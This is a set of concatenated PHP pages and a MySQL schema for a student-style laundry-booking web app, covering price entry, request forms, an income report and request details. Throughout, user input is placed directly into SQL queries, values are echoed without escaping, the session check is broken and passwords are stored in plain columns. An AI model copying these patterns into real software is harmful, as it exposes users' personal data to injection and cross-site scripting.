href="index.php">Login Page</a> <a class="d-block small" href="forget-password.php">Forgot Password?</a> </div> </div> </div> </div> <!-- Bootstrap core JavaScript--> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <!-- Core plugin JavaScript--> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> </body> </html> <file_sep><?php session_start(); error_reporting(0); include('include/dbconnection.php'); if (strlen($_SESSION['ldaid']==0)) { header('location:logout.php'); } else{ $lmsaid=$_SESSION['ldaid']; if(isset($_POST['submit'])) { $topwear=$_POST['topwear']; $bootomwear=$_POST['bottomwear']; $woolencloth=$_POST['woolencloth']; $query=mysqli_query($con, "insert into tblpricelist(TopWear,BottomWear,Woolen,provider) value('$topwear','$bootomwear','$woolencloth','$lmsaid')"); if ($query) { $msg="Laundry Services and prices Added."; } else { $msg="Something Went Wrong. Please try again"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>UNIMAS eLaundry</title> <!-- Custom fonts for this template--> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <!-- Page level plugin CSS--> <link href="vendor/datatables/dataTables.bootstrap4.css" rel="stylesheet"> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <!-- Custom styles for this template--> <link href="css/sb-admin.css" rel="stylesheet"> <script type="text/javascript"> $(document).ready(function () { $('#pickupaddress').hide(); $('#service').change(function () { var v = $("#service").val(); if(v=='dropservice') { $('#pickupaddress').hide(); } if(v=='pickupservice') { $('#pickupaddress').show(); } }); }); </script> </head> <body id="page-top"> <!-- Navbar --> <?php include('include/header.php');?> <div id="wrapper"> <!-- Sidebar --> <?php include('include/sidebar.php');?> <div id="content-wrapper"> <div class="container-fluid"> <!-- Breadcrumbs--> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="dashboard.php">Dashboard</a> </li> <li class="breadcrumb-item active">Add Prices</li> </ol> <p style="font-size:16px; color:red" align="center"> <?php if($msg){ echo $msg; } ?> </p> <!-- Icon Cards--> <!-- Area Chart Example--> <?php $query=mysqli_query($con, "SELECT * FROM tblpricelist WHERE provider = '$lmsaid'"); $ret=mysqli_fetch_array($query); if($ret==0){ ?> <!-- DataTables Example --> <form name="laundry" method="post" style="float: none; margin: auto; max-width: 768px;"> <div class="form-group"> <div class="form-label-group"> <input type="text" id="topwear" name="topwear" class="form-control" required="required" > <label for="lastName">Wash Price (per kg/unit)</label> </div> </div> <div class="form-group"> <div class="form-label-group"> <input type="text" id="bottomwear" name="bottomwear" class="form-control" required="required" > <label for="inputEmail">Iron Price (per kg/unit)</label> </div> </div> <div class="form-group"> <div class="form-row"> <div class="col-md-12"> <div class="form-label-group"> <input type="text" id="woolencloth" name="woolencloth" class="form-control" required="required" > <label for="inputPassword">Dry Wash Price (per kg/unit)</label> </div> </div> </div> </div> <p style="text-align: center; "><button type="submit" name="submit" class="btn btn-primary btn-block">Add</button></p> </form> <?php } else { echo ' You have already added your services.<br> Manage your Service prices <a href="manage-laundryprice.php">here</a>'; } ?> </div> </div> </div> <!-- /.container-fluid --> <!-- Sticky Footer --> <?php include('include/footer.php');?> </div> <!-- /.content-wrapper --> </div> <!-- /#wrapper --> <!-- Scroll to Top Button--> <a class="scroll-to-top rounded" href="#page-top"> <i class="fas fa-angle-up"></i> </a> <!-- Logout Modal--> <div class="modal fade" id="logoutModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Ready to Leave?</h5> <button class="close" type="button" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body">Select "Logout" below if you are ready to end your current session.</div> <div class="modal-footer"> <button class="btn btn-secondary" type="button" data-dismiss="modal">Cancel</button> <a class="btn btn-primary" href="login.html">Logout</a> </div> </div> </div> </div> <!-- Bootstrap core JavaScript--> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <!-- Page level plugin JavaScript--> <script src="vendor/chart.js/Chart.min.js"></script> <script src="vendor/datatables/jquery.dataTables.js"></script> <script src="vendor/datatables/dataTables.bootstrap4.js"></script> <!-- Custom scripts for all pages--> <script src="js/sb-admin.min.js"></script> <!-- Demo scripts for this page--> <script src="js/demo/datatables-demo.js"></script> <script src="js/demo/chart-area-demo.js"></script> </body> </html> <?php } ?><file_sep><?php session_start(); error_reporting(0); include('include/dbconnection.php'); if (strlen($_SESSION['lduid']==0)) { header('location:logout.php'); } else{ if(isset($_POST['submit'])) { $lmsuid=$_SESSION['lduid']; $dol=$_POST['date']; $dol1=$_POST['date1']; $topwear=$_POST['topwear']; $bootomwear=$_POST['bottomwear']; $woolencloth=$_POST['woolencloth']; $others=$_POST['others']; $service=$_POST['service']; $pkadd=$_POST['address']; $contperson=$_POST['contactperson']; $dec=$_POST['description']; $provider = $_POST['provider']; $status=0; $query=mysqli_query($con, "insert into tbllaundryreq(UserID,DateofLaundry,deldate,TopWear,BootomWear,WoolenCloth,Other,Service,PickupAddress,ContactPerson,Description,Status,provider) value ('$lmsuid','$dol','$dol1','$topwear','$bootomwear','$woolencloth','$others','$service','$pkadd','$contperson','$dec','$status','$provider')"); if ($query) { $msg="Laundry request has been sent."; } else { $msg="Something Went Wrong. Please try again"; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>LMS</title> <!-- Custom fonts for this template--> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <!-- Page level plugin CSS--> <link href="vendor/datatables/dataTables.bootstrap4.css" rel="stylesheet"> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <!-- Custom styles for this template--> <link href="css/sb-admin.css" rel="stylesheet"> <script type="text/javascript"> $(document).ready(function () { $('#pickupaddress').hide(); $('#service').change(function () { var v = $("#service").val(); if(v=='dropservice') { $('#pickupaddress').hide(); } if(v=='pickupservice') { $('#pickupaddress').show(); } }); }); </script> </head> <body id="page-top"> <!-- Navbar --> <?php include('include/header.php');?> <div id="wrapper"> <!-- Sidebar --> <?php include('include/sidebar.php');?> <div id="content-wrapper"> <div class="container-fluid"> <!-- Breadcrumbs--> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="dashboard.php">Dashboard</a> </li> <li class="breadcrumb-item active">Overview</li> </ol> <p style="font-size:16px; color:red" align="center"> <?php if($msg){ echo $msg; } ?> </p> <!-- Icon Cards--> <!-- Area Chart Example--> <!-- DataTables Example --> <form name="laundry" method="post"> <div class="form-group"> <div class="form-row"> <div class="col-md-6"> <div class="form-label-group"> <input type="date" id="date" name="date" class="form-control" required="required" autofocus="autofocus"> <label for="date">Pick up / Drop Date </label> </div> </div> <div class="col-md-6"> <div class="form-label-group"> <input type="date" id="date" name="date1" class="form-control" required="required" autofocus="autofocus"> <label for="lastName">Delivery Date</label> </div> </div> </div> </div> <div class="form-group"> <div class="form-label-group"> <input type="text" id="topwear" name="topwear" class="form-control" required="required" > <label for="lastName">Wash (in kg/unit)</label> </div> </div> <div class="form-group"> <div class="form-label-group"> <input type="text" id="bottomwear" name="bottomwear" class="form-control" required="required" > <label for="inputEmail">Iron (in kg/unit)</label> </div> </div> <div class="form-group"> <div class="form-row"> <div class="col-md-12"> <div class="form-label-group"> <input type="text" id="woolencloth" name="woolencloth" class="form-control" required="required" > <label for="inputPassword"><NAME> (in kg/unit)</label> </div> </div> </div> </div> <div class="form-group"> <div class="form-row"> <div class="col-md-12"> <div class="form-label-group"> <input type="text" id="others" name="others" class="form-control"> <label for="inputPassword">Others</label> </div> </div> </div> </div> <div class="form-group"> <div class="form-row"> <div class="col-md-12"> <div class="form-label-group"> <select id="provider" name="provider" class="form-control"> <option value="">Select a provider</option> <?php $ret=mysqli_query($con,"select * from tbladmin"); $cnt=1; while ($row=mysqli_fetch_array($ret)) { ?> <option value="<?php echo $row['ID']; ?>"><?php echo $row['AdminName']; ?></option> <?php } ?> </select> <br> </div> </div> </div> </div> <div class="form-group" > <div class="form-row"> <div class="col-md-12"> <div class="form-label-group"> <input type="text" id="address" name="address" class="form-control" > <label for="inputPassword">Pickup Address</label> </div> </div> </div> </div> <div class="form-group"> <div class="form-row"> <div class="col-md-12"> <div class="form-label-group"> <input type="text" id="contactperson" name="contactperson" class="form-control" required="required"> <label for="inputPassword">Contact Person</label> </div> </div> </div> </div> <div class="form-group"> <div class="form-row"> <div class="col-md-12"> <div class="form-label-group"> <input type="text" id="description" name="description" class="form-control"> <label for="inputPassword">Description(if any)</label> </div> </div> </div> </div> <p style="text-align: center; "><button type="submit" name="submit" class="btn btn-primary btn-block">Submit</button></p> </form> </div> </div> </div> <!-- /.container-fluid --> <!-- Sticky Footer --> <?php include('include/footer.php');?> </div> <!-- /.content-wrapper --> </div> <!-- /#wrapper --> <!-- Scroll to Top Button--> <a class="scroll-to-top rounded" href="#page-top"> <i class="fas fa-angle-up"></i> </a> <!-- Logout Modal--> <div class="modal fade" id="logoutModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Ready to Leave?</h5> <button class="close" type="button" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body">Select "Logout" below if you are ready to end your current session.</div> <div class="modal-footer"> <button class="btn btn-secondary" type="button" data-dismiss="modal">Cancel</button> <a class="btn btn-primary" href="login.html">Logout</a> </div> </div> </div> </div> <!-- Bootstrap core JavaScript--> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <!-- Page level plugin JavaScript--> <script src="vendor/chart.js/Chart.min.js"></script> <script src="vendor/datatables/jquery.dataTables.js"></script> <script src="vendor/datatables/dataTables.bootstrap4.js"></script> <!-- Custom scripts for all pages--> <script src="js/sb-admin.min.js"></script> <!-- Demo scripts for this page--> <script src="js/demo/datatables-demo.js"></script> <script src="js/demo/chart-area-demo.js"></script> </body> </html> <?php } ?><file_sep><?php session_start(); //error_reporting(0); include('include/dbconnection.php'); if (strlen($_SESSION['ldaid']==0)) { header('location:logout.php'); } else{ $lmsaid=$_SESSION['ldaid']; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>UNIMAS eLaundry </title> <!-- Custom fonts for this template--> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <!-- Page level plugin CSS--> <link href="vendor/datatables/dataTables.bootstrap4.css" rel="stylesheet"> <!-- Custom styles for this template--> <link href="css/sb-admin.css" rel="stylesheet"> </head> <body id="page-top"> <!-- Navbar --> <?php include('include/header.php');?> <div id="wrapper"> <!-- Sidebar --> <?php include('include/sidebar.php');?> <div id="content-wrapper"> <div class="container-fluid"> <!-- Breadcrumbs--> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="dashboard.php">Dashboard</a> </li> <li class="breadcrumb-item active">Overview</li> </ol> <?php $total = 0; $fdate=$_POST['fromdate']; $tdate=$_POST['todate']; $rtype=$_POST['requesttype']; $query=mysqli_query($con,"select * from tblpricelist WHERE provider = '$lmsaid'"); while ($rw=mysqli_fetch_array($query)) { $twp=$rw['TopWear']; $bwp=$rw['BottomWear']; $wwp=$rw['Woolen']; } ?> <h5 align="center" style="color:blue">Income Report from <?php echo $fdate?> to <?php echo $tdate?></h5> <hr /> <?php if($rtype=="all"){?> <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0"> <thead> <tr> <th>S.NO</th> <th>Date of Laundry</th> <th>Full Name</th> <th>Mobile Number</th> <th>Prices Charged</th> <th>Action</th> </tr> </thead> <?php $ret=mysqli_query($con,"select * from tbllaundryreq inner join tbluser on tbluser.ID=tbllaundryreq.UserId where tbllaundryreq.provider= '$lmsaid' and tbllaundryreq.DateofLaundry between '$fdate' and '$tdate'"); $cnt=1; while ($row=mysqli_fetch_array($ret)) { $twqty=$row['TopWear']; $bwqty=$row['BootomWear']; $wcqty=$row['WoolenCloth']; $thrqyty=$row['Other']; $otpr=$row['Othercharges']; $tot = $twqty*$twp+$bwqty*$bwp+$wcqty*$wwp+$otpr; $total += $tot; ?> <tr> <td><?php echo $cnt;?></td> <td><?php echo $row['DateofLaundry'];?></td> <td><?php echo $row['FullName'];?></td> <td><?php echo $row['MobileNumber'];?></td> <td><?php echo $tot;?></td> <td><a href="view-request.php?editid=<?php echo $row['ID'];?>">View Detail</a> </tr> <?php $cnt=$cnt+1; }?> </table> <br><p class="text-right"><b>Total Amount Charged:</b> RM <?php echo $total; ?></p> <?php } elseif($rtype=="0"){ ?> <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0"> <thead> <tr> <th>S.NO</th> <th>Date of Laundry</th> <th>Full Name</th> <th>Mobile Number</th> <th>Prices Charged</th> <th>Action</th> </tr> </thead> <?php $ret=mysqli_query($con,"select * from tbllaundryreq inner join tbluser on tbluser.ID=tbllaundryreq.UserId where (tbllaundryreq.DateofLaundry between '$fdate' and '$tdate') and (tbllaundryreq.Status='0')"); $cnt=1; while ($row=mysqli_fetch_array($ret)) { $twqty=$row['TopWear']; $bwqty=$row['BootomWear']; $wcqty=$row['WoolenCloth']; $thrqyty=$row['Other']; $otpr=$row['Othercharges']; $tot = $twqty*$twp+$bwqty*$bwp+$wcqty*$wwp+$otpr; $total += $tot; ?> <tr> <td><?php echo $cnt;?></td> <td><?php echo $row['DateofLaundry'];?></td> <td><?php echo $row['FullName'];?></td> <td><?php echo $row['MobileNumber'];?></td> <td><?php echo $tot;?></td> <td><a href="view-request.php?editid=<?php echo $row['ID'];?>">View Detail</a> </tr> <?php $cnt=$cnt+1; }?> </table> <br><p class="text-right"><b>Total Amount Charged:</b> RM <?php echo $total; ?></p> <?php } elseif ($rtype=="1") {?> <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0"> <thead> <tr> <th>S.NO</th> <th>Date of Laundry</th> <th>Full Name</th> <th>Mobile Number</th> <th>Prices Charged</th> <th>Action</th> </tr> </thead> <?php $ret=mysqli_query($con,"select * from tbllaundryreq inner join tbluser on tbluser.ID=tbllaundryreq.UserId where (tbllaundryreq.DateofLaundry between '$fdate' and '$tdate') and (tbllaundryreq.Status='1')"); $cnt=1; while ($row=mysqli_fetch_array($ret)) { $twqty=$row['TopWear']; $bwqty=$row['BootomWear']; $wcqty=$row['WoolenCloth']; $thrqyty=$row['Other']; $otpr=$row['Othercharges']; $tot = $twqty*$twp+$bwqty*$bwp+$wcqty*$wwp+$otpr; $total += $tot; ?> <tr> <td><?php echo $cnt;?></td> <td><?php echo $row['DateofLaundry'];?></td> <td><?php echo $row['FullName'];?></td> <td><?php echo $row['MobileNumber'];?></td> <td><?php echo $tot;?></td> <td><a href="view-request.php?editid=<?php echo $row['ID'];?>">View Detail</a> </tr> <?php $cnt=$cnt+1; }?> </table> <br><p class="text-right"><b>Total Amount Charged:</b> RM <?php echo $total; ?></p> <?php } elseif($rtype=="2"){ ?> <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0"> <thead> <tr> <th>S.NO</th> <th>Date of Laundry</th> <th>Full Name</th> <th>Mobile Number</th> <th>Prices Charged</th> <th>Action</th> </tr> </thead> <?php $ret=mysqli_query($con,"select * from tbllaundryreq inner join tbluser on tbluser.ID=tbllaundryreq.UserId where (tbllaundryreq.DateofLaundry between '$fdate' and '$tdate') and (tbllaundryreq.Status='2')"); $cnt=1; while ($row=mysqli_fetch_array($ret)) { $twqty=$row['TopWear']; $bwqty=$row['BootomWear']; $wcqty=$row['WoolenCloth']; $thrqyty=$row['Other']; $otpr=$row['Othercharges']; $tot = $twqty*$twp+$bwqty*$bwp+$wcqty*$wwp+$otpr; $total += $tot; ?> <tr> <td><?php echo $cnt;?></td> <td><?php echo $row['DateofLaundry'];?></td> <td><?php echo $row['FullName'];?></td> <td><?php echo $row['MobileNumber'];?></td> <td><?php echo $tot;?></td> <td><a href="view-request.php?editid=<?php echo $row['ID'];?>">View Detail</a> </tr> <?php $cnt=$cnt+1; }?> </table> <br><p class="text-right"><b>Total Amount Charged:</b> RM <?php echo $total; ?></p> <?php } else{ ?> <table class="table table-bordered" id="dataTable" width="100%" cellspacing="0"> <thead> <tr> <th>S.NO</th> <th>Date of Laundry</th> <th>Full Name</th> <th>Mobile Number</th> <th>Prices Charged</th> <th>Action</th> </tr> </thead> <?php $ret=mysqli_query($con,"select * from tbllaundryreq inner join tbluser on tbluser.ID=tbllaundryreq.UserId where (tbllaundryreq.DateofLaundry between '$fdate' and '$tdate') and (tbllaundryreq.Status='3')"); $cnt=1; while ($row=mysqli_fetch_array($ret)) { $twqty=$row['TopWear']; $bwqty=$row['BootomWear']; $wcqty=$row['WoolenCloth']; $thrqyty=$row['Other']; $otpr=$row['Othercharges']; $tot = $twqty*$twp+$bwqty*$bwp+$wcqty*$wwp+$otpr; $total += $tot; ?> <tr> <td><?php echo $cnt;?></td> <td><?php echo $row['DateofLaundry'];?></td> <td><?php echo $row['FullName'];?></td> <td><?php echo $row['MobileNumber'];?></td> <td><?php echo $tot;?></td> <td><a href="view-request.php?editid=<?php echo $row['ID'];?>">View Detail</a> </tr> <?php $cnt=$cnt+1; }?> </table> <br><p class="text-right"><b>Total Amount Charged:</b> RM<?php echo $total; ?></p> <?php } ?> </div> <!-- /.container-fluid --> <!-- Sticky Footer --> <?php include('include/footer.php');?> </div> <!-- /.content-wrapper --> </div> <!-- /#wrapper --> <!-- Scroll to Top Button--> <a class="scroll-to-top rounded" href="#page-top"> <i class="fas fa-angle-up"></i> </a> <!-- Logout Modal--> <div class="modal fade" id="logoutModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Ready to Leave?</h5> <button class="close" type="button" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body">Select "Logout" below if you are ready to end your current session.</div> <div class="modal-footer"> <button class="btn btn-secondary" type="button" data-dismiss="modal">Cancel</button> <a class="btn btn-primary" href="logout.php">Logout</a> </div> </div> </div> </div> <!-- Bootstrap core JavaScript--> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <!-- Core plugin JavaScript--> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <!-- Page level plugin JavaScript--> <script src="vendor/chart.js/Chart.min.js"></script> <script src="vendor/datatables/jquery.dataTables.js"></script> <script src="vendor/datatables/dataTables.bootstrap4.js"></script> <!-- Custom scripts for all pages--> <script src="js/sb-admin.min.js"></script> <!-- Demo scripts for this page--> <script src="js/demo/datatables-demo.js"></script> <script src="js/demo/chart-area-demo.js"></script> </body> </html> <?php } ?><file_sep>-- phpMyAdmin SQL Dump -- version 4.8.5 -- https://www.phpmyadmin.net/ -- -- Host: 127.0.0.1 -- Generation Time: Nov 02, 2019 at 10:47 PM -- Server version: 10.1.38-MariaDB -- PHP Version: 7.3.3 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `lmsdb` -- -- -------------------------------------------------------- -- -- Table structure for table `tbladmin` -- CREATE TABLE `tbladmin` ( `ID` int(11) NOT NULL, `AdminName` varchar(120) DEFAULT NULL, `UserName` varchar(120) DEFAULT NULL, `MobileNumber` varchar(100) DEFAULT NULL, `Email` varchar(120) DEFAULT NULL, `Password` varchar(120) DEFAULT NULL, `regDate` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Table structure for table `tbllaundryreq` -- CREATE TABLE `tbllaundryreq` ( `ID` int(10) NOT NULL, `UserID` int(11) DEFAULT NULL, `DateofLaundry` date DEFAULT NULL, `deldate` date DEFAULT NULL, `TopWear` varchar(120) DEFAULT NULL, `BootomWear` varchar(120) DEFAULT NULL, `WoolenCloth` varchar(120) DEFAULT NULL, `Other` varchar(120) DEFAULT NULL, `Service` varchar(120) DEFAULT NULL, `PickupAddress` varchar(250) DEFAULT NULL, `ContactPerson` varchar(120) DEFAULT NULL, `Description` varchar(120) DEFAULT NULL, `Status` varchar(5) NOT NULL, `Othercharges` bigint(20) DEFAULT NULL, `postingDate` timestamp NULL DEFAULT CURRENT_TIMESTAMP, `provider` varchar(250) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Table structure for table `tblpricelist` -- CREATE TABLE `tblpricelist` ( `Id` int(11) NOT NULL, `TopWear` varchar(120) DEFAULT NULL, `BottomWear` varchar(120) DEFAULT NULL, `Woolen` varchar(120) DEFAULT NULL, `provider` varchar(250) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Table structure for table `tbluser` -- CREATE TABLE `tbluser` ( `Id` int(11) NOT NULL, `FullName` varchar(120) DEFAULT NULL, `Email` varchar(120) DEFAULT NULL, `MobileNumber` bigint(10) DEFAULT NULL, `Password` varchar(120) NOT NULL, `regDate` timestamp NULL DEFAULT CURRENT_TIMESTAMP ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Indexes for dumped tables -- -- -- Indexes for table `tbladmin` -- ALTER TABLE `tbladmin` ADD PRIMARY KEY (`ID`); -- -- Indexes for table `tbllaundryreq` -- ALTER TABLE `tbllaundryreq` ADD PRIMARY KEY (`ID`); -- -- Indexes for table `tblpricelist` -- ALTER TABLE `tblpricelist` ADD PRIMARY KEY (`Id`); -- -- Indexes for table `tbluser` -- ALTER TABLE `tbluser` ADD PRIMARY KEY (`Id`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `tbladmin` -- ALTER TABLE `tbladmin` MODIFY `ID` int(11) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `tbllaundryreq` -- ALTER TABLE `tbllaundryreq` MODIFY `ID` int(10) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `tblpricelist` -- ALTER TABLE `tblpricelist` MODIFY `Id` int(11) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `tbluser` -- ALTER TABLE `tbluser` MODIFY `Id` int(11) NOT NULL AUTO_INCREMENT; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep><?php session_start(); error_reporting(0); include('include/dbconnection.php'); if (strlen($_SESSION['ldaid']==0)) { header('location:logout.php'); } else{ if(isset($_POST['submit'])) { $cid=$_GET['editid']; $adstatus=$_POST['status']; $query=mysqli_query($con, "update tbllaundryreq set Status='$adstatus' where ID='$cid'"); if ($query) { $msg="Request has been updated."; } else { $msg="Something Went Wrong. Please try again"; } } $lmsaid=$_SESSION['ldaid']; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>UNIMAS eLaundry</title> <!-- Custom fonts for this template--> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <!-- Page level plugin CSS--> <link href="vendor/datatables/dataTables.bootstrap4.css" rel="stylesheet"> <!-- Custom styles for this template--> <link href="css/sb-admin.css" rel="stylesheet"> </head> <body id="page-top"> <!-- Navbar --> <?php include('include/header.php');?> <div id="wrapper"> <!-- Sidebar --> <?php include('include/sidebar.php');?> <div id="content-wrapper"> <div class="container-fluid"> <!-- Breadcrumbs--> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="dashboard.php">Dashboard</a> </li> <li class="breadcrumb-item active">Overview</li> </ol> <p style="font-size:16px; color:red" align="center"> <?php if($msg){ echo $msg; } ?> </p> <?php $cid=$_GET['editid']; //Getting Prices $query=mysqli_query($con,"select * from tblpricelist WHERE provider = '$lmsaid'"); while ($rw=mysqli_fetch_array($query)) { $twp=$rw['TopWear']; $bwp=$rw['BottomWear']; $wwp=$rw['Woolen']; } $ret=mysqli_query($con,"select * from tbllaundryreq join tbluser on tbluser.id=tbllaundryreq.UserID where tbllaundryreq.ID='$cid' and tbllaundryreq.Status='1'"); $cnt=1; while ($row=mysqli_fetch_array($ret)) { ?> <table border="1" class="table table-bordered mg-b-0"> <tr> <th>Name</th> <td><?php echo $row['FullName'];?></td> </tr> <tr> <th>Contact Number</th> <td><?php echo $row['MobileNumber'];?></td> </tr> <tr> <th>Email Id</th> <td><?php echo $row['Email'];?></td> </tr> <tr> <th>Date of Laundry</th> <td><?php echo $row['DateofLaundry'];?></td> </tr> <tr> <th>Estimated Delivery</th> <td><?php echo $row['deldate'];?></td> </tr> <tr> <th>Wash (in kg/unit)</th> <td><?php echo $twqty=$row['TopWear']?></td> </tr> <tr> <th>Iron (in kg/unit)</th> <td><?php echo $bwqty=$row['BootomWear'];?></td> </tr> <tr> <th>Dry Wash (in kg/unit)</th> <td><?php echo $wcqty=$row['WoolenCloth'];?></td> </tr> <tr> <th>Others</th> <td><?php echo $thrqyty=$row['Other'];?></td> </tr> <tr> <th>Service</th> <td><?php echo $row['Service'];?></td> </tr> <tr> <th>Pickup Address</th> <td><?php echo $row['PickupAddress'];?></td> </tr> <tr> <th>Contact Person</th> <td><?php echo $row['ContactPerson'];?></td> </tr> <tr> <th>Description</th> <td><?php echo $row['Description'];?></td> </tr> <tr> <th>Record Status</th> <td> <?php if($row['Status']=="0") { echo "New"; } if($row['Status']=="1") { echo "Accept"; } if($row['Status']=="2") { echo "Inprocess"; } if($row['Status']=="3") { echo "Finish"; } ;?></td> </tr> </table> <table border="1" class="table table-bordered mg-b-0"> <tr> <th colspan="5" style="color:red">Invoice of the Above Laundry request</th> </tr> <tr> <th>#</th> <th>Service Type</th> <th>Quantity</th> <th>Per Unit Price</th> <th>Total</th> </tr> <tr> <td>1</td> <td>Wash (in kg/unit)</td> <td><?php echo $twqty;?></td> <td><?php echo $twp;?></td> <td><?php echo $twqty*$twp;?></td> </tr> <tr> <td>2</td> <td>Iron (in kg/unit)</td> <td><?php echo $bwqty;?></td> <td><?php echo $bwp;?></td> <td><?php echo $bwqty*$bwp;?></td> </tr> <tr> <td>3</td> <td>Dry Wash (in kg/unit)</td> <td><?php echo $wcqty;?></td> <td><?php echo $wwp;?></td> <td><?php echo $wcqty*$wwp;?></td> </tr> <form name="submit" method="post" enctype="multipart/form-data"> <tr> <td>4</td> <td>Others</td> <td><?php echo $thrqyty;?></td> <td>Other charge will be added by admin</td> <td></td> </tr> <tr> <td colspan="2">Total</t> <td><?php echo $twqty+$bwqty+$wcqty+$thrqyty;?></td> <td></td> <td><?php echo $twqty*$twp+$bwqty*$bwp+$wcqty*$wwp;?></td> </tr> </table> <tr> <th><h5>Status</h5> </th> <td> <select name="status" class="form-control wd-450" required="true" > <option value="2">Inprocess</option> </select></td> </tr> <hr /> <p style="text-align: center;"><button type="submit" name="submit" class="btn btn-primary btn-block">Update</button></p> </form> <?php } ?> </div> <!-- /.container-fluid --> <!-- Sticky Footer --> <?php include('include/footer.php');?> </div> <!-- /.content-wrapper --> </div> <!-- /#wrapper --> <!-- Scroll to Top Button--> <a class="scroll-to-top rounded" href="#page-top"> <i class="fas fa-angle-up"></i> </a> <!-- Logout Modal--> <div class="modal fade" id="logoutModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog" role="document"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="exampleModalLabel">Ready to Leave?</h5> <button class="close" type="button" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body">Select "Logout" below if you are ready to end your current session.</div> <div class="modal-footer"> <button class="btn btn-secondary" type="button" data-dismiss="modal">Cancel</button> <a class="btn btn-primary" href="logout.php">Logout</a> </div> </div> </div> </div> <!-- Bootstrap core JavaScript--> <script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <!-- Core plugin JavaScript--> <script 